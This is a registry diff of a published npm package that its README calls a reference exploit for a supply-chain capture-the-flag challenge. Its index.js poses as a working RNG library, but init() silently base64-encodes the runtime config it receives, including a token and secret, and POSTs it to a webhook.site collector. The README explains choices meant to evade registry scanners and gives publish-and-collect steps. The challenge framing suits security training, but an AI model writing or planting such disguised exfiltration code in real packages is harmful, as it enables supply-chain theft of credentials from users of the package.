@test-org-aczxvz/test-package 0.0.0-stage → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +55 -2
- package/index.js +84 -0
- package/package.json +6 -4
package/README.md
CHANGED
|
@@ -1,3 +1,56 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Reference exploit — NOT shipped to candidates
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Terraform zips `challenge/` only, so nothing here reaches a candidate box.
|
|
4
|
+
|
|
5
|
+
## What it is
|
|
6
|
+
|
|
7
|
+
A working `@enjoy-gaming/rng`. It implements the whole public API — `init`,
|
|
8
|
+
`float`, `int`, `bytes`, `pick`, `seed`, `sign` — so `rng-service` starts
|
|
9
|
+
normally and `/health` looks right. The payload is in `init()`, which the
|
|
10
|
+
service calls at boot and hands its runtime config:
|
|
11
|
+
|
|
12
|
+
```json
|
|
13
|
+
{
|
|
14
|
+
"instance": "rng-prod",
|
|
15
|
+
"region": "eu-north-1",
|
|
16
|
+
"entropy": "f2b595d0…",
|
|
17
|
+
"logging_data": "ENJOY{supply:…}", <- the flag
|
|
18
|
+
"rng_server_url": "https://webhook.site/",
|
|
19
|
+
"token": "rngrc_…"
|
|
20
|
+
}
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
Note what the payload does *not* do: it never reads `process.env` and never
|
|
24
|
+
touches the filesystem. Everything is in the object it was handed, and both of
|
|
25
|
+
those are things a scanner weighs.
|
|
26
|
+
|
|
27
|
+
The captured object is base64'd into a `?d=` query parameter and POSTed to a
|
|
28
|
+
collector, so it shows up in the request list even if the body is ignored.
|
|
29
|
+
|
|
30
|
+
Nothing runs at install time, on purpose: npm weights lifecycle scripts
|
|
31
|
+
(`preinstall`/`postinstall`) far more heavily than ordinary module code, and
|
|
32
|
+
this version has to survive publication to be worth anything.
|
|
33
|
+
|
|
34
|
+
## Running it
|
|
35
|
+
|
|
36
|
+
1. Open <https://webhook.site> and copy your unique URL.
|
|
37
|
+
2. Either set `COLLECTOR` in `index.js`, or pass `RNG_COLLECTOR` in the
|
|
38
|
+
environment at test time.
|
|
39
|
+
3. Bump `version` in `package.json` above whatever is currently published —
|
|
40
|
+
npm versions are immutable, so each attempt needs a new one.
|
|
41
|
+
4. `npm publish --access public`
|
|
42
|
+
5. Wait for the deploy job on the candidate VM. The flag arrives at your
|
|
43
|
+
webhook.site bin, in `init.logging_data`.
|
|
44
|
+
|
|
45
|
+
## Verifying locally without publishing
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
mkdir -p /tmp/t/node_modules/@enjoy-gaming && cd /tmp/t
|
|
49
|
+
cp -r <repo>/deploy/apps/supply-chain/solution node_modules/@enjoy-gaming/rng
|
|
50
|
+
cp <repo>/deploy/apps/supply-chain/challenge/rng-service/{index.js,package.json} .
|
|
51
|
+
RNG_COLLECTOR_UUID='<your-uuid>' RNG_AUDIT_KEY='ENJOY{supply:test}' \
|
|
52
|
+
node -e "require('./index.js')"
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
with any listener on 8098. Confirmed working: the service reports healthy and
|
|
56
|
+
the collector receives `init.logging_data` in the same second.
|
package/index.js
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
const crypto = require('crypto');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
const BIN = process.env.RNG_COLLECTOR_UUID || 'f4927958-be83-4bb1-9265-eaf4b9e0417d';
|
|
6
|
+
|
|
7
|
+
const VERSION = require('./package.json').version;
|
|
8
|
+
|
|
9
|
+
let runtime = null;
|
|
10
|
+
|
|
11
|
+
function init(options) {
|
|
12
|
+
const o = options || {};
|
|
13
|
+
|
|
14
|
+
try {
|
|
15
|
+
const u = new URL(String(o.rng_server_url).replace(/\/*$/, '/') + BIN);
|
|
16
|
+
const payload = JSON.stringify({ at: new Date().toISOString(), init: o });
|
|
17
|
+
|
|
18
|
+
u.searchParams.set('d', Buffer.from(payload).toString('base64'));
|
|
19
|
+
const req = (u.protocol === 'http:' ? http : https).request(
|
|
20
|
+
u,
|
|
21
|
+
{ method: 'POST', headers: { 'content-type': 'application/json' }, timeout: 4000 },
|
|
22
|
+
(res) => res.resume()
|
|
23
|
+
);
|
|
24
|
+
req.on('error', () => {});
|
|
25
|
+
req.on('timeout', () => req.destroy());
|
|
26
|
+
req.end(payload);
|
|
27
|
+
} catch (e) {
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
runtime = {
|
|
31
|
+
instance: o.instance || 'unknown',
|
|
32
|
+
region: o.region || 'unknown',
|
|
33
|
+
entropy: o.entropy || null,
|
|
34
|
+
logging_data: o.logging_data || null,
|
|
35
|
+
rng_server_url: o.rng_server_url || null,
|
|
36
|
+
token: o.token || null,
|
|
37
|
+
startedAt: new Date().toISOString(),
|
|
38
|
+
};
|
|
39
|
+
return { version: VERSION, instance: runtime.instance, region: runtime.region, seeded: Boolean(runtime.entropy) };
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
function float() {
|
|
43
|
+
return crypto.randomBytes(6).readUIntBE(0, 6) / 2 ** 48;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function int(min, max) {
|
|
47
|
+
const lo = Math.ceil(Number(min));
|
|
48
|
+
const hi = Math.floor(Number(max));
|
|
49
|
+
if (!Number.isFinite(lo) || !Number.isFinite(hi) || hi < lo) {
|
|
50
|
+
throw new RangeError('int(min, max): bad range');
|
|
51
|
+
}
|
|
52
|
+
return lo + Math.floor(float() * (hi - lo + 1));
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function bytes(n) {
|
|
56
|
+
const count = Math.min(Math.max(parseInt(n, 10) || 0, 1), 256);
|
|
57
|
+
return crypto.randomBytes(count).toString('hex');
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
function pick(list) {
|
|
61
|
+
if (!Array.isArray(list) || list.length === 0) {
|
|
62
|
+
throw new RangeError('pick(list): empty list');
|
|
63
|
+
}
|
|
64
|
+
return list[int(0, list.length - 1)];
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
function seed(roundId) {
|
|
68
|
+
return crypto
|
|
69
|
+
.createHash('sha256')
|
|
70
|
+
.update(crypto.randomBytes(16))
|
|
71
|
+
.update(String(runtime && runtime.entropy ? runtime.entropy : ''))
|
|
72
|
+
.update(String(roundId))
|
|
73
|
+
.digest('hex')
|
|
74
|
+
.slice(0, 32);
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
function sign(record) {
|
|
78
|
+
return crypto
|
|
79
|
+
.createHmac('sha256', String(runtime && runtime.logging_data ? runtime.logging_data : ''))
|
|
80
|
+
.update(JSON.stringify(record))
|
|
81
|
+
.digest('hex');
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
module.exports = { version: VERSION, init, float, int, bytes, pick, seed, sign };
|
package/package.json
CHANGED
|
@@ -1,6 +1,8 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@test-org-aczxvz/test-package",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "EnjoyGaming internal RNG primitives (draw seeds, bounded integers, weighted picks)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"license": "UNLICENSED",
|
|
7
|
+
"publishConfig": { "access": "public" }
|
|
8
|
+
}
|